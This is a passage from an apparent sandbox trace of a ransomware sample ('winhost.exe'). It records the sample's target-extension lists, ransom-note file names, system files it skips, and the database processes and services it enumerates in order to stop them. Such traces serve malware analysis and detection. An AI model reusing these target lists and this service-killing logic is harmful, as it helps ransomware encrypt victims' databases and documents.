.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0058.228] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500068 | out: hHeap=0x4b0000) returned 1 [0058.228] lstrlenW (lpString="") returned 0 [0058.228] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x504ef8 | out: hHeap=0x4b0000) returned 1 [0058.228] lstrlenW (lpString=".2020") returned 5 [0058.228] lstrlenW (lpString=".2020") returned 5 [0058.228] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x504ef8 | out: hHeap=0x4b0000) returned 1 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f28, Size=0x20) returned 0x4e5988 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5988, Size=0x40) returned 0x4e6b18 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b18, Size=0x80) returned 0x50b458 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2e0, Size=0x8) returned 0x4ea2f0 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2f0, Size=0x10) returned 0x504f28 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f28, Size=0x20) returned 0x4e59d8 [0058.228] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0058.228] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b458 | out: hHeap=0x4b0000) returned 1 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f58, Size=0x20) returned 0x4e5a00 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a00, Size=0x40) returned 0x4e6b18 [0058.228] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0058.228] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0058.229] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6b18 | out: hHeap=0x4b0000) returned 1 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f58, Size=0x20) returned 0x4e5a00 [0058.229] lstrlenW (lpString="Info.hta") returned 8 [0058.229] lstrlenW (lpString="Info.hta") returned 8 [0058.229] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a00 | out: hHeap=0x4b0000) returned 1 [0058.229] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x52d468, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0058.229] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d468 | out: hHeap=0x4b0000) returned 1 [0058.229] lstrlenW (lpString="winhost.exe") returned 11 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59d8, Size=0x40) returned 0x4e6b18 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f58, Size=0x20) returned 0x4e59d8 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f58, Size=0x20) returned 0x4e5a00 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a00, Size=0x40) returned 0x4e6b60 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b60, Size=0x80) returned 0x50b458 [0058.229] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x501088 [0058.229] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0058.229] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501088 | out: hHeap=0x4b0000) returned 1 [0058.230] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x52d468, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0058.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d470 | out: hHeap=0x4b0000) returned 1 [0058.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d468 | out: hHeap=0x4b0000) returned 1 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2f0, Size=0x8) returned 0x4ea2e0 [0058.230] lstrlenW (lpString="%windir%;") returned 9 [0058.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59d8 | out: hHeap=0x4b0000) returned 1 [0058.230] lstrlenW (lpString="C:\\Windows;") returned 11 [0058.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d460 | out: hHeap=0x4b0000) returned 1 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f70, Size=0x20) returned 0x4e59d8 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59d8, Size=0x40) returned 0x4e6b60 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b60, Size=0x80) returned 0x50b458 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x501088 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea320, Size=0x8) returned 0x4ea330 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea330, Size=0x10) returned 0x504fb8 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504fb8, Size=0x20) returned 0x4e59d8 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2f0, Size=0x8) returned 0x4ea330 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea300, Size=0x8) returned 0x4ea2f0 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea320, Size=0x8) returned 0x4ea340 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea340, Size=0x10) returned 0x505060 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505060, Size=0x20) returned 0x4e5a00 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea330, Size=0x10) returned 0x505060 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2f0, Size=0x10) returned 0x500098 [0058.230] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea330, Size=0x8) returned 0x4ea320 [0058.231] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea350, Size=0x8) returned 0x4ea360 [0058.231] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505060, Size=0x20) returned 0x4e5a28 [0058.231] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500098, Size=0x20) returned 0x4e5a50 [0058.231] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea370, Size=0x8) returned 0x4ea380 [0058.231] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0058.231] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501088 | out: hHeap=0x4b0000) returned 1 [0058.231] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500128, Size=0x20) returned 0x4e5aa0 [0058.231] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x51d460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0058.231] lstrlenW (lpString="C:\\") returned 3 [0058.231] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.232] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d460 | out: hHeap=0x4b0000) returned 1 [0058.232] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x503088, Size=0x82) returned 0x4fbe90 [0058.232] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5030a8, Size=0x100) returned 0x501088 [0058.232] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbe90, Size=0x104) returned 0x5008f8 [0058.232] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x501088, Size=0x200) returned 0x505098 [0058.233] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x503098 | out: hHeap=0x4b0000) returned 1 [0058.233] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x505098 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001d0 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b678 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500188 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b5f0 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001b8 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5008f8 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001a0 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbf20 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001e8 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500868 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500200 | out: hHeap=0x4b0000) returned 1 [0058.234] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500200, Size=0x20) returned 0x4e5ac8 [0058.234] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ac8, Size=0x40) returned 0x4e6b60 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea390 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500128 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fc3c0 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500158 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b568 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500140 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea3a0 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500170 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb568 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6128 | out: hHeap=0x4b0000) returned 1 [0058.234] lstrlenW (lpString="%systemdrive%") returned 13 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5aa0 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b458 | out: hHeap=0x4b0000) returned 1 [0058.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea370 | out: hHeap=0x4b0000) returned 1 [0058.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x50d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0058.235] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4e7c30*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xb90 Thread: id = 4 os_tid = 0xb98 [0059.250] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500170 [0059.250] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500170, Size=0x20) returned 0x4e5ac8 [0059.250] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ac8, Size=0x40) returned 0x4e6ba8 [0059.250] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ba8, Size=0x80) returned 0x50b458 [0059.250] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x501088 [0059.250] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500170 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500170, Size=0x20) returned 0x4e5ac8 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ac8, Size=0x40) returned 0x4e6ba8 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ba8, Size=0x80) returned 0x50b458 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x501190 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x500170 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4ea370 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500140 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea370, Size=0x8) returned 0x4ea3a0 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e6148 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea3a0, Size=0x10) returned 0x500158 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e6168 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4e5ac8 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500158, Size=0x20) returned 0x4e5af0 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4e5b18 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4e6188 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4e5b40 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x500158 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4ea3a0 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4e6ba8 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea3a0, Size=0x8) returned 0x4ea370 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4e6bf0 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea370, Size=0x10) returned 0x500128 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e61a8 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e61c8 [0059.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500128, Size=0x20) returned 0x4e5b68 [0059.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4fc3c0 [0059.252] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0059.252] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501088 | out: hHeap=0x4b0000) returned 1 [0059.252] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0059.252] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501190 | out: hHeap=0x4b0000) returned 1 [0059.252] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e5c08 [0059.252] EnumServicesStatusExW (in: hSCManager=0x4e5c08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0059.253] GetLastError () returned 0xea [0059.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x51e4a0 [0059.253] EnumServicesStatusExW (in: hSCManager=0x4e5c08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x51e4a0, cbBufSize=0x11e4, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x51e4a0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0059.254] CloseServiceHandle (hSCObject=0x4e5c08) returned 1 [0059.254] lstrlenW (lpString="Appinfo") returned 7 [0059.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.254] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.255] lstrlenW (lpString="AudioSrv") returned 8 [0059.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.255] lstrlenW (lpString="BFE") returned 3 [0059.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.255] lstrlenW (lpString="CryptSvc") returned 8 [0059.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.255] lstrlenW (lpString="CscService") returned 10 [0059.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.256] lstrlenW (lpString="DcomLaunch") returned 10 [0059.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.256] lstrlenW (lpString="Dhcp") returned 4 [0059.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.256] lstrlenW (lpString="Dnscache") returned 8 [0059.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.256] lstrlenW (lpString="DPS") returned 3 [0059.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.256] lstrlenW (lpString="eventlog") returned 8 [0059.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.257] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.257] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.257] lstrlenW (lpString="EventSystem") returned 11 [0059.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.257] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.257] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.257] lstrlenW (lpString="gpsvc") returned 5 [0059.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.257] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.257] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.257] lstrlenW (lpString="iphlpsvc") returned 8 [0059.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.257] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.257] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.257] lstrlenW (lpString="LanmanServer") returned 12 [0059.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.257] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.257] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.258] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.258] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.258] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.258] lstrlenW (lpString="lmhosts") returned 7 [0059.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.258] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.258] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.258] lstrlenW (lpString="MMCSS") returned 5 [0059.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.258] 